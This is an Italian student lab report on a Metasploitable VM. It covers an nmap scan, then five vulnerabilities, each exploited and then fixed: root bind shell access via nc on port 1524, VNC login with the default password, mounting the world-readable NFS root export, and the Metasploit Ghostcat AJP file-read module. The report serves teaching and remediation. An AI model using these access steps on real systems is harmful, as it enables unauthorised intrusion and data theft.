

# Progetto Modulo 3

Ettore Farris – 26/01/2024

## Scansione Nmap del target

Prima di tutto, effettuiamo una scansione nmap -sV su tutte le porte del target.

```
(kali㉿kali) - [~]
└─$ nmap -sV 192.168.50.101 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-25 15:40 EST
Nmap scan report for 192.168.50.101
Host is up (0.0041s latency).
Not shown: 65505 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8-((Ubuntu)) DAV/2
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rexecd
513/tcp   open  login?         NOT
514/tcp   open  shell          Netkit rshd
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd        distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
6697/tcp  open  irc            UnrealIRCd (Admin email admin@Metasploitable.LAN)
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb            Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbb)
42540/tcp open  mountd         1-3 (RPC #100005)
44645/tcp open  status         1 (RPC #100024)
49577/tcp open  nlockmgr       1-4 (RPC #100021)
49791/tcp open  java-rmi       GNU Classpath grmiregistry
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 200.43 seconds
```

## 1) Bind Shell Backdoor Detection

*Vulnerabilità*

CRITICAL

9.8

-

51988

Bind Shell Backdoor Detection

Dalla nostra scansione nmap, deduciamo che questa vulnerabilità è relativa alla porta 1524 di Metasploitable. Se infatti da Kali tentiamo di effettuare accesso a quella porta tramite netcat, possiamo accedere senza fatica alla macchina con privilegi di root.

```
(kali㉿kali) - [~]  
$ nc 192.168.32.101 1524  
root@metasploitable:/# whoami  
root  
root@metasploitable:/# pwd  
/  
root@metasploitable:/#
```

*Remediation:*

Per bloccare il traffico in entrata da una rete esterna su quella porta, possiamo creare una regola firewall con iptables:

```
root@metasploitable:/home#  
root@metasploitable:/home#  
root@metasploitable:/home#  
root@metasploitable:/home#  
root@metasploitable:/home#  
root@metasploitable:/home# iptables -I INPUT -p tcp --dport 1524 -j DROP  
root@metasploitable:/home# _
```

Dopo aver impostato la regola, se cercassimo di effettuare accesso tramite la bindshell non ci riusciremmo:

```
(kali㉿kali) - [~]  
$ nc 192.168.32.101 1524  
(UNKNOWN) [192.168.32.101] 1524 (ingreslock) : Connection timed out
```

## 2) VNC Server 'password' Password

Vulnerabilità:

CRITICAL

10.0\*

-


61708

VNC Server 'password' Password

Questa vulnerabilità colpisce il servizio VNC (porta 5900) ed è relativa alle credenziali deboli impostate. Tentando di accedere tramite il viewer *xtightvncviewer*, inserendo l'indirizzo ip della macchina Metasploitable e come password *"password"*, possiamo effettuare accesso facilmente con i privilegi di root.

```
(kali㉿kali) - [~]
$ xtightvncviewer
Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Authentication successful
Desktop name "root's X desktop (metasploitable:0)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0

TightVNC: root's X desktop (metasploitable:0)
```



### Remediation:

Per risolvere il problema possiamo semplicemente cambiare password di accesso da Metasploitable, sostituendola con una più sicura, tramite lo strumento *vncpasswd* avviato come root:

```
root@metasploitable:/home# vncpasswd
Using password file /root/.vnc/passwd
Password:
Verify:
Would you like to enter a view-only password (y/n)? n
root@metasploitable:/home#
```

Dopo il cambio delle credenziali, l'accesso verrebbe bloccato se si tentasse di accedere con la password "password":

```
(kali㉿kali) - [~]  
$ xtightvncviewer  
Connected to RFB server, using protocol version 3.3  
Performing standard VNC authentication  
Authentication failure gameshell
```

### 3) NFS Exportd Share Information Disclosure

#### 4) Shares World Readable

*Vulnerabilità:*

**CRITICAL** 10.0\* 5.9 11356 NFS Exported Share Information Disclosure

**HIGH** 7.5 - 42256 NFS Shares World Readable

L'NFS è un file system che consente ai computer client di utilizzare la rete per accedere a directory condivise da server remoti come fossero disponibili in locale. Un client deve richiedere esplicitamente ad un server del sistema condividere una directory o un file, dichiarando un "punto di montaggio", ovvero una cartella in cui compariranno i file condivisi. Una volta effettuato un montaggio, un utente sul client accede alla directory montata dal punto di montaggio, accedendo quindi al contenuto della directory remota montata.

Le vulnerabilità di Metasploitable presenti su questo target sono dovute alla configurazione degli *exports*. Le informazioni delle cartelle sono leggibili a chiunque possa fare accesso.

Su Kali, possiamo lanciare i seguenti comandi per verificare la presenza di cartelle condivise su Metasploitable alla quale possiamo fare accesso.

```
(kali㉿kali) - [~]
$ rpcinfo -p 192.168.32.101
program vers proto port  service
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 45220 status
100024 1 tcp 42000 status
100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100003 4 udp 2049 nfs
100021 1 udp 53760 nlockmgr
100021 3 udp 53760 nlockmgr
100021 4 udp 53760 nlockmgr
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
100003 4 tcp 2049 nfs
100021 1 tcp 56526 nlockmgr
100021 3 tcp 56526 nlockmgr
100021 4 tcp 56526 nlockmgr
100005 1 udp 34644 mountd
100005 1 tcp 36683 mountd
100005 2 udp 34644 mountd
100005 2 tcp 36683 mountd
100005 3 udp 34644 mountd
100005 3 tcp 36683 mountd

(kali㉿kali) - [~]
$ showmount -e 192.168.32.101
Export list for 192.168.32.101:
/ *

(kali㉿kali) - [~]
$ mkdir nfs_folder

(kali㉿kali) - [~]
$ sudo mount -t nfs 192.168.32.101:/ nfs_folder

(kali㉿kali) - [~]
$ ls nfs_folder
bin  boot  cdrom  dev  etc  home  initrd  initrd.img  lib  lost+found  media  mnt  nohup.out  opt  proc  root  sbin  shell  srv  sys  tmp  usr  var  vmlinuz
```

Con il comando `rpcinfo -p 192.168.32.101` verifichiamo la situazione del server. Con il comando `showmount -e 192.168.32.101` verifichiamo le directory condivise ed eventuali dettagli di accesso. La directory in questo caso è `/` ovvero quella di `root` e chiunque può effettuare accesso (vedi asterisco `*`). Creiamo quindi il nostro punto di montaggio creando una cartella chiamata `nfs_folder` e montiamo la cartella condivisa col comando `sudo mount -t nfs 192.168.32.101:/ nfs_folder`.

Lanciando `ls` sulla cartella, possiamo vedere i file della cartella di `root` di Metasploitable. Creiamo quindi una cartella di prova e verifichiamo su Metasploitable l'effettiva creazione.

```
(kali㉿kali) - [~]
$ cd nfs_folder

(kali㉿kali) - [~/nfs_folder]
$ sudo mkdir cartella_di_prova
```

```

root@metasploitable:/#
root@metasploitable:/#
root@metasploitable:/#
root@metasploitable:/#
root@metasploitable:/# ls
bin          dev          initrd.img   mnt          root        sys          vmlinuz
boot         etc          lib          nohup.out    sbin        tmp
cartella di prova home        lost+found   opt          shell       usr
cdrom        initrd      media        proc         srv         var
root@metasploitable:/#

```

## Remediation

Per risolvere il problema delle vulnerabilità trovate, basterebbe ad esempio restringere l'accesso NFS su Metasploitable solo a uno o più host autorizzati.

Modifichiamo quindi il file `/etc/exports` cambiando la regola sulla cartella di `/` sostituendo l'asterisco con un host autorizzato.

```

root@metasploitable:/# cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#                to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes      hostname1(rw,sync) hostname2(ro,sync)
#
# Example for NFSv4:
# /srv/nfs4       gss/krb5i(rw,sync,fsid=0,crossmnt)
# /srv/nfs4/homes gss/krb5i(rw,sync)
#
/                192.168.32.10(r)
root@metasploitable:/# _

```

In questo caso è 192.168.32.10.

Su Kali, se si tentasse di montare la cartella, l'accesso verrebbe negato per via della regola creata.

```
(kali㉿kali) - [~]
$ showmount -e 192.168.32.101
clnt_create: RPC: Program not registered

(kali㉿kali) - [~] My Scans
$ sudo mount -t nfs 192.168.32.101:/ nfs_folder

mount.nfs: Connection refused for 192.168.32.101:/ on /home/kali/nfs_folder
```

## 5) Apache Tomcat AJP Connector Request Injection (Ghostcat)

Vulnerabilità

---

CRITICAL	9.8	9.0	134862	Apache Tomcat AJP Connector Request Injection (Ghostcat)
----------	-----	-----	--------	--

---

Apache Tomcat è un webserver *open source*. L'AJP è un protocollo usato da questo webserver per comunicare con i contenitori *servlet*. Questi sono dei componenti software che si occupano delle richieste e delle risposte quando qualcuno vuole accedere a un sito.

La versione di Tomcat presente su Metasploitable (la 5.5) è vulnerabile a un attacco *Ghostcat*. Un attaccante remoto può connettersi senza autenticazione al connettore AJP e leggere il contenuto del file se il server è vulnerabile.

Per testare la vulnerabilità, su *Metasploit*, effettuiamo una ricerca per la keyword *ghostcat*. Utilizziamo il modulo che ci compare che consente la lettura dei files. Dopo aver configurato e lanciato l'attacco, si può notare l'accesso a un file che teoricamente non dovrebbe essere esposto.



```
msf6 > search ghostcat
Matching Modules
=====
#  Name
--  -
0  auxiliary/admin/http/tomcat_ghostcat
Disclosure Date: 2020-02-20
Rank: normal
Check: Yes
Description: Apache Tomcat AJP File Read

msf6 > use 0
msf6 auxiliary(admin/http/tomcat_ghostcat) > set RPORT 8180
RPORT => 8180
msf6 auxiliary(admin/http/tomcat_ghostcat) > set RHOSTS 192.168.32.101
RHOSTS => 192.168.32.101
msf6 auxiliary(admin/http/tomcat_ghostcat) > run
[*] Running module against 192.168.32.101
Status Code: OK
ETag: W/"1565-1228677438000"
Last-Modified: Sun, 07 Dec 2008 19:17:18 GMT
Content-Type: application/xml
Content-Length: 1565
<?xml version="1.0" encoding="ISO-8859-1"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
```

## Remediation

Basta modificare il file di configurazione del server al percorso `/etc/tomcat5.5/server.xml` e commentare il blocco di codice relativo al connettore servlet AJP presente sulla porta 8009.

```
GNU nano 2.0.7 File: server.xml Modified

<!-- Define a SSL HTTP/1.1 Connector on port 8443 -->
<!--
<Connector port="8443" maxHttpHeaderSize="8192"
    maxThreads="150" minSpareThreads="25" maxSpareThreads="75"
    enableLookups="false" disableUploadTimeout="true"
    acceptCount="100" scheme="https" secure="true"
    clientAuth="false" sslProtocol="TLS" />
-->

<!-- Define an AJP 1.3 Connector on port 8009 -->
<!--
<Connector port="8009"
    enableLookups="false" redirectPort="8443" protocol="AJP/1.3" />
-->
<!-- Define a Proxied HTTP/1.1 Connector on port 8082 -->
<!-- See proxy documentation for more information about using this. -->
<!--
<Connector port="8082"
    maxThreads="150" minSpareThreads="25" maxSpareThreads="75"
```

Riavviamo il server affinché le modifiche abbiano effetto.

```
root@metasploitable:/etc/tomcat5.5# /etc/init.d/tomcat5.5 stop
* Stopping Tomcat servlet engine tomcat5.5      [ OK ]
root@metasploitable:/etc/tomcat5.5# /etc/init.d/tomcat5.5 start
* Starting Tomcat servlet engine tomcat5.5      [ OK ]
```

Verifichiamo poi lo stato della porta prima e dopo il riavvio del server.

```
(kali㉿kali)-[~]
└─$ sudo nmap -sS 192.168.32.101 -p 8009
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-27 14:44 EST
Nmap scan report for 192.168.32.101
Host is up (0.0041s latency).

PORT      STATE SERVICE
8009/tcp  open  ajp13

Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds

(kali㉿kali)-[~]
└─$ sudo nmap -sS 192.168.32.101 -p 8009
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-27 14:48 EST
Nmap scan report for 192.168.32.101
Host is up (0.0044s latency).

PORT      STATE SERVICE
8009/tcp  closed ajp13

Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds
```

Il modulo della *ghostcat* presente su Metasploit non funzionerà dopo la remediation.

```
msf6 auxiliary(admin/http/tomcat_ghostcat) > run
[*] Running module against 192.168.32.101

[-] 192.168.32.101:8180 - Unable to read file, target may not be vulnerable.
[*] Auxiliary module execution completed
```